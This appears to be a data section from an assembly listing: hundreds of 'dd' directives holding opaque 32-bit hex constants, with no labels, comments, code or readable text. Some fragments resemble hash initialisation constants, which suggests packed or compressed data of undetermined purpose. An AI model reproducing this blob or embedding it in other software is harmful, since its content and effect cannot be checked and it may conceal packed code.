dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
dd 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h
dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
dd 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh
dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch
dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
dd 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh
dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h
dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h
dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
dd 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h
dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah
dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h
dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h
dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h
dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
dd 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h
dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh
dd 4E01017h, 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h
dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h
dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
dd 0B40B794h, 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h
dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
dd 110BC340h, 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h
dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh
dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h
dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
dd 34B2B380h, 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h
dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
dd 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh
dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h
dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h
dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
dd 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h
dd 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h
dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
dd 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh
dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h
dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
dd 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
dd 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h
dd 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch
dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
dd 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh
dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h
dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h
dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h
dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h
dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
dd 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h
dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h
dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h
dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h
dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
dd 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h
dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh
dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh
dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h
dd 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h
dd 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h
dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch
dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h
dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h
dd 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h
dd 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh
dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h, 328230Eh
dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h
dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh
dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
dd 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh
dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh, 0B9071C09h
dd 5AD09F7Bh, 347480BBh
dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h
dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh
dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h
dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h
dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch
dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h
dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h
dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h
dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh
dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h
dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch
dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh
dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh, 48030800h
dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h
dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h
dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh
dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh
dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h
dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h
dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h
dd 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h
dd 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h, 0A593802Fh
dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h, 0D726812h
dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
dd 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh, 32A221E6h
dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch, 6FCCFB87h
dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh, 0B21A3CF9h
dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h
dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h, 6FE60B27h
dd 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah
dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h, 72DF70C4h
dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
dd 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh, 886F883h
dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh, 35441FA2h
dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
dd 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h
dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh
dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h
dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h
dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh
dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h
dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh
dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h
dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h
dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h
dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h
dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch
dd 204099B2h, 904210Ah
dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh
dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h
dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh
dd 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h
dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h
dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h
dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h
dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh
dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h
dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h
dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h
dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h
dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h
dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h
dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h
dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h
dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h
dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch
dd 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h
dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h
dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h
dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h
dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h
dd 5071025h, 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h
dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h
dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h
dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h
dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h
dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h
dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h
dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h
dd 86164839h, 524A1CEh, 6F315314h, 20C897Ah, 48202523h
dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h
dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h
dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh
dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h
dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h
dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah
dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh
dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h
dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h
dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h
dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h
dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h
dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h
dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h
dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h
dd 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h
dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh
dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h
dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh
dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch
